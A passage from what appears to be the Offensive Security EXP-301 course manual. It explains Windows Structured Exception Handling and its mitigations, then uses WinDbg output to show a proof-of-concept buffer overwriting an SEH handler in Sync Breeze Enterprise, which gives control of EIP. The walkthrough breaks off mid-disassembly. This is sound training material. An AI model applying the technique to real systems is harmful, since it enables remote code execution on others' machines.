flow reaches unexpected or unwanted conditions. For example, a software developer might want
to raise an exception in their code to signal that a function could not execute normally because of
an invalid input argument.
The most common way to define an exception construct in a programming language is through a
_try/_except90 code block. A _try/_except block will _try to execute a chuck of code. If an error or
exception occurs in the execution, it will jump to the _except block, which should contain code
designed to deal with the exception.

Most programming languages implement _try/_except functionality, although the


keywords may vary between languages.

89
(Structured Exception Handling), https://msdn.microsoft.com/en-us/library/windows/desktop/ms680657(v=vs.85).aspx
90
(SEH code blocks), https://msdn.microsoft.com/en-us/library/windows/desktop/ms679270(v=vs.85).aspx

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 93
Windows User Mode Exploit Development

When compiled, the _try/_except code will leverage the Structure Exception Handling(SEH)91
mechanism implemented by the Windows operating system to handle unexpected events. In the
next section, we’ll describe this mechanism in more detail.

4.4.1 Understanding SEH


At a high level, the SEH mechanism92 (which is implemented in the operating system) gives
developers an opportunity to take action when an unexpected event happens during the
execution of a thread. More specifically, when a thread faults, the operating system calls a
designated set of functions (known as exception handlers), which can correct, or provide more
information about, the unexpected condition. The exception handlers are user-defined and are
created during the compilation of the previously mentioned _except code blocks.

As we’ll explain later, the default exception handler is a special case in that it is
defined by the operating system itself rather than by the application developer.

The operating system must be able to locate the correct exception handler when an unexpected
event is encountered.
To understand how this happens, it’s important to know that structured exception handling works
on a per-thread level.93 Additionally, each thread in a program can be identified by the Thread
Environmental Block (TEB)94 structure, which stores important information related to the
respective thread.
Every time a try block is encountered during the execution of a function in a thread, a pointer to
the corresponding exception handler is saved on the stack within the
_EXCEPTION_REGISTRATION_RECORD structure. Since there may be several try blocks executed
in a function, these structures are connected together in a linked list.95

91
(SEH by the OS), https://msdn.microsoft.com/en-us/library/windows/desktop/ms680657(v=vs.85).aspx
92
Note that the information covered in this module applies strictly to the x86 architecture. The x64 implementation of structured
exception handling is outside the scope of this course.
93
(A Crash Course on the Depths of Win32™ Structured Exception Handling),
http://bytepointer.com/resources/pietrek_crash_course_depths_of_win32_seh.htm
94
(Win32 Thread Information Block), https://en.wikipedia.org/wiki/Win32_Thread_Information_Block
95
(Wikipedia - Linked List),
https://en.wikipedia.org/wiki/Linked_list#:~:text=In%20computer%20science%2C%20a%20linked,which%20together%20represent%20
a%20sequence.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 94
Windows User Mode Exploit Development

Figure 26: Singly-linked _EXCEPTION_REGISTRATION_RECORD list

When an exception occurs, the operating system inspects the TEB structure of the faulting thread
and retrieves a pointer (ExceptionList) to the linked list of _EXCEPTION_REGISTRATION_RECORD
structures through the FS96 CPU register.

The CPU can access the TEB structure at any given time using the FS segment
register at offset zero (fs:[0]) on the x86 architecture.97

After retrieving the ExceptionList, the operating system will begin to walk it and invoke every
exception handler function until one is able to deal with the unexpected event. If none of the user-
defined functions can handle the exception, the operating system invokes the default exception
handler, which is always the last node in the linked list. As previously mentioned, this is a special

96
(Wikipedia - Accessing the TEB), https://en.wikipedia.org/wiki/Win32_Thread_Information_Block#Accessing_the_TIB
97
(NTAPI Undocumented Structures - TEB),
http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FThread%2F
TEB.html

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 95
Windows User Mode Exploit Development

exception handler that terminates the current process or thread in case the application is a
system service.
Now that we’ve discussed the SEH mechanism at a high level, let’s analyze this process in more
detail. Let’s attach our debugger to the syncbrs.exe process and review the structures are used by
the Structured Exception Handler.

Fortunately, Microsoft publishes symbols for many structures that the operating
system uses, including the TEB. This means we can examine key exception
handling structures inside WinDbg, which will help us better understand the
process.

We’ll start by dumping the TEB structure inside WinDbg:


0:006> dt nt!_TEB
ntdll!_TEB
+0x000 NtTib : _NT_TIB
+0x01c EnvironmentPointer : Ptr32 Void
+0x020 ClientId : _CLIENT_ID
+0x028 ActiveRpcHandle : Ptr32 Void
+0x02c ThreadLocalStoragePointer : Ptr32 Void
+0x030 ProcessEnvironmentBlock : Ptr32 _PEB
+0x034 LastErrorValue : Uint4B
+0x038 CountOfOwnedCriticalSections : Uint4B
+0x03c CsrClientThread : Ptr32 Void
+0x040 Win32ThreadInfo : Ptr32 Void
...
Listing 93 - Dumping the nt!_TEB structure in WinDbg

According to Listing 93, the nt!_TEB structure starts with a nested structure called _NT_TIB.
Dumping _NT_TIB inside WinDbg shows that the first member in this structure is a pointer named
ExceptionList, which points to the first _EXCEPTION_REGISTRATION_RECORD structure.
0:006> dt _NT_TIB
ntdll!_NT_TIB
+0x000 ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 StackBase : Ptr32 Void
+0x008 StackLimit : Ptr32 Void
+0x00c SubSystemTib : Ptr32 Void
+0x010 FiberData : Ptr32 Void
+0x010 Version : Uint4B
+0x014 ArbitraryUserPointer : Ptr32 Void
+0x018 Self : Ptr32 _NT_TIB
Listing 94 - Dumping the _NT_TIB structure in WinDbg

WinDbg reveals that the _EXCEPTION_REGISTRATION_RECORD structure contains two


members: Next, which points to a _EXCEPTION_REGISTRATION_RECORD structure, and Handler,
which points to an _EXCEPTION_DISPOSITION structure.
0:006> dt _EXCEPTION_REGISTRATION_RECORD
ntdll!_EXCEPTION_REGISTRATION_RECORD

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 96
Windows User Mode Exploit Development

+0x000 Next : Ptr32 _EXCEPTION_REGISTRATION_RECORD


+0x004 Handler : Ptr32 _EXCEPTION_DISPOSITION
Listing 95 - Dumping the _EXCEPTION_REGISTRATION_RECORD structure in WinDbg

The Next member acts as a link between _EXCEPTION_REGISTRATION_RECORD structures in


the singly-linked list of registered exception handlers.98
The Handler member is a pointer to the exception callback function named _except_handler,
which returns an _EXCEPTION_DISPOSITION structure on Windows 10 x86. The _except_handler
function99 prototype is defined in the listing below.
typedef EXCEPTION_DISPOSITION _except_handler (*PEXCEPTION_ROUTINE) (
IN PEXCEPTION_RECORD ExceptionRecord,
IN VOID EstablisherFrame,
IN OUT PCONTEXT ContextRecord,
IN OUT PDISPATCHER_CONTEXT DispatcherContext
);
Listing 96 - Prototype for the _exception_handler function

Inside a debugger, the function can have different name variations, such as
ntdll!_except_handler4. These naming differences are introduced by the symbols
provided by Microsoft for each version of Windows. However, the prototype and
parameters of the function are the same.

The second and third parameters (EstablisherFrame and ContextRecord) are the most relevant to
us. EstablisherFrame points to the _EXCEPTION_REGISTRATION_RECORD structure, which is
used to handle the exception. ContextRecord is a pointer to a CONTEXT100 structure. This
structure contains processor-specific register data at the time the exception was raised.
Let’s dump the CONTEXT structure in WinDbg:
0:006> dt ntdll!_CONTEXT
+0x000 ContextFlags : Uint4B
+0x004 Dr0 : Uint4B
+0x008 Dr1 : Uint4B
+0x00c Dr2 : Uint4B
+0x010 Dr3 : Uint4B
+0x014 Dr6 : Uint4B
+0x018 Dr7 : Uint4B
+0x01c FloatSave : _FLOATING_SAVE_AREA
+0x08c SegGs : Uint4B
+0x090 SegFs : Uint4B
+0x094 SegEs : Uint4B
+0x098 SegDs : Uint4B

98
(Preventing the Exploitation of Structured Exception Handler (SEH) Overwrites with SEHOP),
https://blogs.technet.microsoft.com/srd/2009/02/02/preventing-the-exploitation-of-structured-exception-handler-seh-overwrites-with-
sehop/
99
(EXCEPTION_DISPOSITION function), https://docs.microsoft.com/en-us/cpp/c-runtime-library/except-handler3?view=msvc-160
100
(MSDN - CONTEXT structure), https://msdn.microsoft.com/en-us/library/windows/desktop/ms679284(v=vs.85).aspx

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 97
Windows User Mode Exploit Development

+0x09c Edi : Uint4B


+0x0a0 Esi : Uint4B
+0x0a4 Ebx : Uint4B
+0x0a8 Edx : Uint4B
+0x0ac Ecx : Uint4B
+0x0b0 Eax : Uint4B
+0x0b4 Ebp : Uint4B
+0x0b8 Eip : Uint4B
+0x0bc SegCs : Uint4B
+0x0c0 EFlags : Uint4B
+0x0c4 Esp : Uint4B
+0x0c8 SegSs : Uint4B
+0x0cc ExtendedRegisters : [512] UChar
Listing 97 - Dumping the CONTEXT structure in WinDbg

This structure contains many fields and stores the state of all our registers, including the
instruction pointer (EIP). The information from this structure will be used to restore the execution
flow after handling the exception.
As mentioned earlier, the _except_handler function returns an _EXCEPTION_DISPOSITION
structure. Inspecting this with WinDbg reveals that this structure contains the result of the
exception handling process.
0:006> dt _EXCEPTION_DISPOSITION
ntdll!_EXCEPTION_DISPOSITION
ExceptionContinueExecution = 0n0
ExceptionContinueSearch = 0n1
ExceptionNestedException = 0n2
ExceptionCollidedUnwind = 0n3
Listing 98 - Dumping the _EXCEPTION_DISPOSITION structure in WinDbg

If the exception handler invoked by the operating system is not valid for dealing with a specific
exception, it will return ExceptionContinueSearch.101 This result instructs the operating system to
move on to the next _EXCEPTION_REGISTRATION_RECORD structure in the linked list. On the
other hand, if the function handler can successfully handle the exception, it will return
ExceptionContinueExecution, which instructs the system to resume execution.
The illustration below provides a simplified overview of this mechanism in action:

101
(Safely Searching Process Virtual Address Space), http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 98
Windows User Mode Exploit Development

Figure 27: SEH Mechanism in action

4.4.2 SEH Validation


Now that we understand a bit more about the structures used in the SEH mechanism, let’s
discuss in detail how the operating system calls the exception handler functions and what checks
are performed before invoking them.
When an exception is encountered, ntdll!KiUserExceptionDispatcher102 is called. This function is
responsible for dispatching exceptions on Windows operating systems. The function takes two
arguments. The first is an _EXCEPTION_RECORD103 structure that contains information about the
exception. The second argument is a CONTEXT structure. Eventually, this function calls into
RtlDispatchException,104 which will retrieve the TEB and proceed to parse the ExceptionList
through the mechanism explained in the previous section.
During this process, for each Handler member in the singly-linked ExceptionList list, the operating
system will ensure that the _EXCEPTION_REGISTRATION_RECORD structure falls within the stack
memory limits found in the TEB. Furthermore, during the execution of RtlDispatchException, the

102
(A catalog of NTDLL kernel mode to user mode callbacks, part 2: KiUserExceptionDispatcher), http://www.nynaeve.net/?p=201
103
(MSDN - EXCEPTION_RECORD structure), https://msdn.microsoft.com/en-us/library/windows/desktop/aa363082(v=vs.85).aspx
104
(RtlDispatchException), http://www.codewarrior.cn/ntdoc/winnt/rtl/mips/RtlDispatchException.htm

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 99
Windows User Mode Exploit Development

operating system performs additional checks by invoking the RtlIsValidHandler105 function for
every exception handler.
RtlIsValidHandler is responsible for the SafeSEH106 implementation. This is a mitigation
introduced by Microsoft to prevent an attacker from gaining control of the execution flow after
overwriting a stack-based exception handler.
At a high level, if a module is compiled with the SafeSEH flag, the linker will produce an image
containing a table of safe exception handlers.

A linker is a computer program that combines object files generated by a


compiler or assembler into a single executable or library file. It can even combine
object files into another object file.

The operating system will then validate the exception_handler on the stack by comparing it to the
entries in the table of safe exception handlers. If the handler is not found, the system will refuse to
execute it.
Unfortunately, the source code for RtlIsValidHandler is not publicly available, so we must instead
analyze the pseudo-code that was generated by security researchers107 after reverse engineering
this function on Windows 8.1.

Pseudo-code is an informal high-level description of a computer program or


algorithm. While it uses the conventions of a normal programming language, it is
intended for human readability rather than compilation and execution.

Although the RtlIsValidHandler pseudo-code listed below was extracted from Windows 8.1, it is
largely similar to what is executed on the Windows 10 client provided in this course.
BOOL RtlIsValidHandler(Handler) // NT 6.3.9600
{
if (/* Handler within the image */) {
if (DllCharacteristics->IMAGE_DLLCHARACTERISTICS_NO_SEH)
goto InvalidHandler;
if (/* The image is .Net assembly, 'ILonly' flag is enabled */)
goto InvalidHandler;
if (/* Found 'SafeSEH' table */) {
if (/* The image is registered in 'LdrpInvertedFunctionTable' (or its
cache), or the initialization of the process is not complete */) {
if (/* Handler found in 'SafeSEH' table */)
return TRUE;

105
(Old Meets New: Microsoft Windows SafeSEH Incompatibility), https://www.optiv.com/blog/old-meets-new-microsoft-windows-
safeseh-incompatibility
106
(MSDN - SAFE_SEH), https://docs.microsoft.com/en-us/cpp/build/reference/safeseh-image-has-safe-exception-handlers
107
(Dive into exceptions: caution, this may be hard), https://hackmag.com/uncategorized/exceptions-for-hardcore-users/

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 100
Windows User Mode Exploit Development

else
goto InvalidHandler;
}
return TRUE;
} else {
if (/* 'ExecuteDispatchEnable' and 'ImageDispatchEnable' flags are enabled
in 'ExecuteOptions' of the process */)
return TRUE;
if (/* Handler is in non-executable area of the memory */) {
if (ExecuteDispatchEnable) return TRUE;
}
else if (ImageDispatchEnable) return TRUE;
}
InvalidHandler:
RtlInvalidHandlerDetected(...);
return FALSE;
}
Listing 99 - Pseudo-code for the RtlIsValidHandler function

As shown in the pseudo-code in Listing 99, the RtlIsValidHandler function checks the
DllCharacteristics108 of the specific module where the exception occurs. If the module is compiled
with SafeSEH, the exception_handler will be compared to the entries in the table of safe exception
handlers before it is executed.
If RtlIsValidHandler succeeds with its validation steps, the operating system will call the
RtlpExecuteHandlerForException function. This function is responsible for setting up the
appropriate arguments and invoking ExecuteHandler. As the name suggests, this native API is
responsible for calling the _except_handler functions registered on the stack.

In addition to SafeSEH which requires applications to be compiled with the


/SAFESEH flag Microsoft introduced an additional mitigation named Structured
Exception Handler Overwrite Protection (SEHOP).109

SEHOP works by verifying that the chain of


_EXCEPTION_REGISTRATION_RECORD structures are valid before invoking
them. Because the Next member is overwritten as part of a SEH overflow the
chain of _EXCEPTION_REGISTRATION_RECORD structures is no longer intact
and the SEHOP mitigation will prevent the corrupted _except_handler from
executing.

SEHOP is disabled by default on Windows client editions and enabled by default


on server editions.

108
(IMAGE_OPTIONAL_HEADER structure), https://msdn.microsoft.com/en-us/library/windows/desktop/ms680339(v=vs.85).aspx
109
(Preventing the Exploitation of Structured Exception Handler (SEH) Overwrites with SEHOP), https://msrc-
blog.microsoft.com/2009/02/02/preventing-the-exploitation-of-structured-exception-handler-seh-overwrites-with-sehop/

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 101
Windows User Mode Exploit Development

In summary, whenever an exception occurs, the operating system calls a designated set of
functions as part of the SEH mechanism. Within these function calls, the ExceptionList single-
linked list is gathered from the TEB structure. Next, the operating system parses the singly-linked
list of _EXCEPTION_REGISTRATION_RECORD structures, performing various checks before
calling the exception_handler function pointed to by each Handler member. This continues until a
handler is found that will successfully process the exception and allow execution to continue. If
no handler can successfully handle the exception, the application will crash.
In the next sections we’ll leverage the theory we have learned in order to gain remote code
execution on our target application.

4.4.2.1 Exercises
1. Inside WinDbg, review the structures we discussed in this section. Review the structures’
members and understand how they are used by the exception handler.
2. Review and understand the pseudo-code in this section.

4.5 Structured Exception Handler Overflows


In this section, we’ll leverage what we’ve learned about the Structured Exception Handling
mechanism to gain control over the execution flow of our vulnerable application and execute our
desired payload.
A structure exception overflow is a stack buffer overflow that is either large enough or positioned
in such a way to overwrite valid registered exception handlers on the stack. By overwriting one or
more of these handlers, the attacker can take control of the instruction pointer after triggering an
exception.
In most cases, an overflow tends to overwrite valid pointers and structures on the stack, which
often generates an access violation exception. If this does not occur, an attacker can often force
an exception by increasing the size of the overflow.

With the increase in stack overflows Microsoft included a stack overflow


mitigation named GS110 which is enabled by default in modern versions of Visual
Studio. At a high level, when a binary that is compiled with the /GS flag is loaded
a random stack cookie seed111 value is initialized and stored in the .data section
of the binary. When a function protected by GS is called, an XOR operation takes
place between the stack cookie seed value and the EBP register. The result of
this operation is stored on the stack prior to the return address.

Before returning out of the protected function, another XOR operation occurs
between the previous value saved on the stack and the EBP register. This result
is then checked with the stack cookie seed value from the .data section. If the

110
(Microsoft - /GS (Buffer Security Checks)), https://docs.microsoft.com/en-us/cpp/build/reference/gs-buffer-security-
check?view=msvc-160&viewFallbackFrom=msvc-160
111
(A Modern Exploration of Windows Memory Corruption Exploits - Part I: Stack Overflows), https://www.forrest-orr.net/post/a-
modern-exploration-of-windows-memory-corruption-exploits-part-i-stack-overflows

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 102
Windows User Mode Exploit Development

values do not match the application will throw an exception and terminate the
execution.

Overwriting an exception handler and causing the application to crash in any way
triggers the SEH mechanism and causes the instruction pointer to be redirected
to the address of the exception_handler prior to reaching the end of the
vulnerable function. Because of this increasing the size of a stack overflow and
overwriting a _EXCEPTION_REGISTRATION_RECORD can allow an attacker to
bypass stack cookies.

As we previously discussed (and is again shown in Figure 28 below), the


_EXCEPTION_REGISTRATION_RECORD structures are stored at the beginning of the stack space.
Because the stack grows backwards, the overflow will need to be quite large or begin towards the
beginning of the stack in order for the attacker to overwrite a structured exception handler.

Figure 28: SEH mechanism in action

Let’s try confirming the theory we explored earlier about structured exception handlers, as well as
the consequences of overwriting them. We’ll restart our application from the Services utility and
re-attach the debugger to it.
Before sending the initial proof of concept, we want to inspect an intact chain of
_EXCEPTION_REGISTRATION_RECORD structures to observe them in memory.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 103
Windows User Mode Exploit Development

Because the SEH mechanism works on a per-thread basis, we won’t be able to inspect the intact
SEH chain for the thread handling our incoming data, as that thread has not yet spawned. Instead,
we will inspect the chain of _EXCEPTION_REGISTRATION_RECORD structures for the thread
WinDbg breaks into when we attach the debugger to the target process. This will reveal an intact
chain.
After attaching the WinDbg to our process, we’ll obtain the TEB address with !teb,112 which will
contain the ExceptionList pointer:
0:007> !teb
TEB at 7ffd8000
ExceptionList: 0132ff70
StackBase: 01330000
StackLimit: 0132c000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 7ffd8000
EnvironmentPointer: 00000000
ClientId: 000004d4 . 00000c8c
RpcHandle: 00000000
Tls Storage: 00000000
PEB Address: 7ffd7000
LastErrorValue: 0
LastStatusValue: 0
Count Owned Locks: 0
HardErrorMode: 0
Listing 100 - Dumping the TEB in WinDbg

Listing 100 shows that, as expected, the ExceptionList starts very close to the beginning of the
StackBase.

In x86 architecture, the stack is “head down”, meaning that it starts at a higher
memory address and expands down to a lower address.

Next, we’ll dump the first _EXCEPTION_REGISTRATION_RECORD structure at the memory


address specified in the ExceptionList member.
From the previous section, we know that the _EXCEPTION_REGISTRATION_RECORD structure
has two members. The first is Next and, as the name suggests, it points to the next entry in the
singly-linked list. The second, Handler, is the memory address of the _except_handler function. We
can manually walk the singly-linked list in the debugger as shown in the listing below.
0:007> dt _EXCEPTION_REGISTRATION_RECORD 0132ff70
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x0132ffcc _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x7728a380 _EXCEPTION_DISPOSITION
ntdll!_except_handler4+0

112
(WinDBG - Thread related information), http://windbg.info/doc/1-common-cmds.html#12_thread

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 104
Windows User Mode Exploit Development

0:007> dt _EXCEPTION_REGISTRATION_RECORD 0x0132ffcc


ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x0132ffe4 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x7728a380 _EXCEPTION_DISPOSITION
ntdll!_except_handler4+0

0:007> dt _EXCEPTION_REGISTRATION_RECORD 0x0132ffe4


ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0xffffffff _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x77296c7c _EXCEPTION_DISPOSITION
ntdll!FinalExceptionHandlerPad12+0
Listing 101 - Walking the structured exception handling chain in WinDbg

As highlighted in Listing 101, the end of the singly-linked list is marked by the 0xffffffff value
stored by the last _EXCEPTION_REGISTRATION_RECORD Next member. This last record is the
default exception handler specified by the operating system.
To understand what is happening during an SEH overflow, we’ll let our application continue
execution inside the debugger and send our previous proof of concept, once again triggering an
access violation.
kali@kali:~$ python3 seh_overflow_0x01.py 192.168.120.10
Sending evil buffer...
Done!
Listing 102 - Re-running the initial proof of concept

This time, when we attempt to walk the ExceptionList, we notice that the second
_EXCEPTION_REGISTRATION_RECORD structure has been overwritten by our malicious buffer.
(ed8.192c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze
Enterprise\bin\libpal.dll
eax=41414141 ebx=01c4fa1c ecx=01c4ff18 edx=01c4f9d4 esi=01c4ff18 edi=01c4fb20
eip=00ac2a9d esp=01c4f9a8 ebp=01c4fec8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
libpal!SCA_ConfigObj::Deserialize+0x1d:
00ac2a9d ff5024 call dword ptr [eax+24h] ds:0023:41414165=????????

0:011> !teb
TEB at 0026b000
ExceptionList: 01c4fe1c
StackBase: 01c50000
StackLimit: 01c4f000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 0026b000
EnvironmentPointer: 00000000
ClientId: 00000ed8 . 0000192c
RpcHandle: 00000000
Tls Storage: 0054fa80
PEB Address: 0025d000

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 105
Windows User Mode Exploit Development

LastErrorValue: 0
LastStatusValue: c000000d
Count Owned Locks: 0
HardErrorMode: 0

0:011> dt _EXCEPTION_REGISTRATION_RECORD 01c4fe1c


ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x01c4ff54 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x00b3df5b _EXCEPTION_DISPOSITION
libpal!md5_starts+0

0:011> dt _EXCEPTION_REGISTRATION_RECORD 0x01c4ff54


ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x41414141 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x41414141 _EXCEPTION_DISPOSITION +41414141
Listing 103 - Walking the structured exception handler chain after the crash in WinDbg

_EXCEPTION_REGISTRATION_RECORD structures are pushed on the stack from


first to last. Because of this, SEH overflows generally overwrite the last
_EXCEPTION_REGISTRATION_RECORD structure first. Depending on the length
of the overflow, it is possible to overwrite more than one
_EXCEPTION_REGISTRATION_RECORD structure.

Keep in mind that in some cases, the overflow happens in such a way that the
exception chain is only partially overwritten.

In our case, the exception occurs because the application is trying to read and execute from an
unmapped memory page. This causes an access violation exception that needs to be handled by
either the application or the operating system.
WinDbg allows us to automatically list the current thread exception handler chain with !exchain.113
The !exchain extension displays the exception handlers of the current thread. It supports three
arguments that can be used to gather information on specific types of exceptions, such as C++
try/catch exceptions. By default, it displays the exception handler implemented using the SEH
mechanism.
0:011> !exchain
01c4fe1c: libpal!md5_starts+149fb (00b3df5b)
01c4ff54: 41414141
Invalid exception stack at 41414141
Listing 104 - Inspecting the exception handler chain at the moment of the crash

The output from !exchain provides us with the same information as our previous manual SEH
chain dump.
Reiterating our theory discussion, we know that the first step in the SEH mechanism is to obtain
the address of the first _EXCEPTION_REGISTRATION_RECORD structure from the TEB. The

113
(WinDBG !exchain), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/-exchain

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 106
Windows User Mode Exploit Development

operating system then proceeds to call each _except_handler function until the exception is
properly handled, or it simply crashes the process if no handler could successfully deal with the
exception.
At this point, however, the address of at least one of the _except_handler functions has been
overwritten by our buffer (0x41414141). This means that whenever this
_EXCEPTION_REGISTRATION_RECORD structure is used to handle the exception, the CPU will
end up calling 0x41414141, giving us control over the EIP register. This is exactly the behavior we
noticed as part of the initial crash analysis.
We can once again confirm this by resuming execution in WinDbg and letting the application
attempt to handle the exception:
0:011> g
(ed8.192c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=77383b20 esi=00000000 edi=00000000
eip=41414141 esp=01c4f438 ebp=01c4f458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41414141 ?? ???
Listing 105 - Letting the exception be handled by WinDbg

The above listing reveals that the instruction pointer is under control. Let’s inspect the callstack
(k) to determine which functions were called before the EIP register was overwritten.
0:011> k
# ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 01c4f434 77383b02 0x41414141
01 01c4f458 77383ad4 ntdll!ExecuteHandler2+0x26
02 01c4f528 77371586 ntdll!ExecuteHandler+0x24
03 01c4f528 00ac2a9d ntdll!KiUserExceptionDispatcher+0x26
04 01c4fec8 00000000 libpal!SCA_ConfigObj::Deserialize+0x1d
Listing 106 - Dumping the callstack in WinDbg after the exception is handled

The output indicates that ntdll!ExecuteHandler2 was called directly before we achieved code
execution. As previously discussed, this function is responsible for calling the _except_handler
functions registered on the stack. We’ll confirm this shortly.

We can list all the registers within WinDbg to determine if any of them point to our buffer:
0:011> r
eax=00000000 ebx=00000000 ecx=41414141 edx=77383b20 esi=00000000 edi=00000000
eip=41414141 esp=01c4f438 ebp=01c4f458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41414141 ?? ???

0:011> dds esp La


01c4f438 77383b02 ntdll!ExecuteHandler2+0x26
01c4f43c 01c4f540
01c4f440 01c4ff54
01c4f444 01c4f55c
01c4f448 01c4f4cc

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 107
Windows User Mode Exploit Development

01c4f44c 01c4fe1c
01c4f450 77383b20 ntdll!ExecuteHandler2+0x44
01c4f454 01c4ff54
01c4f458 01c4f528
01c4f45c 77383ad4 ntdll!ExecuteHandler+0x24

0:011> u edx
ntdll!ExecuteHandler2+0x44:
77383b20 8b4c2404 mov ecx,dword ptr [esp+4]
77383b24 f7410406000000 test dword ptr [ecx+4],6
77383b2b b801000000 mov eax,1
77383b30 7512 jne ntdll!ExecuteHandler2+0x68 (77383b44)
77383b32 8b4c2408 mov ecx,dword ptr [esp+8]
77383b36 8b542410 mov edx,dword ptr [esp+10h]
77383b3a 8b4108 mov eax,dword ptr [ecx+8]
77383b3d 8902 mov dword ptr [edx],eax
Listing 107 - Dumping the registers in WinDbg after the exception is handled

According to the output in Listing 107, none of the registers point to our buffer at the moment we
gain control over the execution. The ECX register is being overwritten alongside the instruction
pointer while most of the other registers are NULL. We do not overwrite any data on the stack
(which ESP and EBP point to). Lastly, EDX appears to point somewhere inside the
ntdll!ExecuteHandler2 function.
At this point, even if we control the instruction pointer, we are still not able to easily redirect the
execution flow to our buffer where we’d eventually store a payload.
To better understand the SEH mechanism we can restart Sync Breeze and set a breakpoint at the
ntdll!ExecuteHandler2 function to stop the execution before WinDbg intercepts the exception.
From the previous debugging session, we know that when the access violation is triggered, the
first entry in ExceptionList is not overwritten by our buffer and therefore is still a valid
_EXCEPTION_REGISTRATION_RECORD structure. Our overflow only affects the following
_EXCEPTION_REGISTRATION_RECORD structure in the linked list. Because of this, when the SEH
mechanism tries to handle the exception, ntdll!ExecuteHandler2 will be called twice.
Initially, it will use the first _EXCEPTION_REGISTRATION_RECORD structure (which is still intact)
and then proceed to use the corrupted structure. When the breakpoint is first triggered, we will
simply let execution resume:

(1544.16f0): Access violation - code c0000005 (first chance)


First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze
Enterprise\bin\libpal.dll
eax=41414141 ebx=018efa1c ecx=018eff18 edx=018ef9d4 esi=018eff18 edi=018efb20
eip=00902a9d esp=018ef9a8 ebp=018efec8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
libpal!SCA_ConfigObj::Deserialize+0x1d:
00902a9d ff5024 call dword ptr [eax+24h] ds:0023:41414165=????????

0:008> bp ntdll!ExecuteHandler2

0:008> g

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 108
Windows User Mode Exploit Development

Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=018ef4cc edx=770a3b20 esi=00000000 edi=00000000
eip=770a3adc esp=018ef45c ebp=018ef528 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2:
770a3adc 55 push ebp

0:008> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=018ef4cc edx=770a3b20 esi=00000000 edi=00000000
eip=770a3adc esp=018ef45c ebp=018ef528 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2:
770a3adc 55 push ebp
Listing 108 - Setting and hitting the breakpoint at the ntdll!ExecuteHandler2 function

After hitting our breakpoint the second time, we’ll inspect the assembly code of the executing
function:
0:008> u @eip L11
ntdll!ExecuteHandler2:
770a3adc 55 push ebp
770a3add 8bec mov ebp,esp
770a3adf ff750c push dword ptr [ebp+0Ch]
770a3ae2 52 push edx
770a3ae3 64ff3500000000 push dword ptr fs:[0]
770a3aea 64892500000000 mov dword ptr fs:[0],esp
770a3af1 ff7514 push dword ptr [ebp+14h]
770a3af4 ff7510 push dword ptr [ebp+10h]
770a3af7 ff750c push dword ptr [ebp+0Ch]
770a3afa ff7508 push dword ptr [ebp+8]
770a3afd 8b4d18 mov ecx,dword ptr [ebp+18h]
770a3b00 ffd1 call ecx
770a3b02 648b2500000000 mov esp,dword ptr fs:[0]
770a3b09 648f0500000000 pop dword ptr fs:[0]
770a3b10 8be5 mov esp,ebp
770a3b12 5d pop ebp
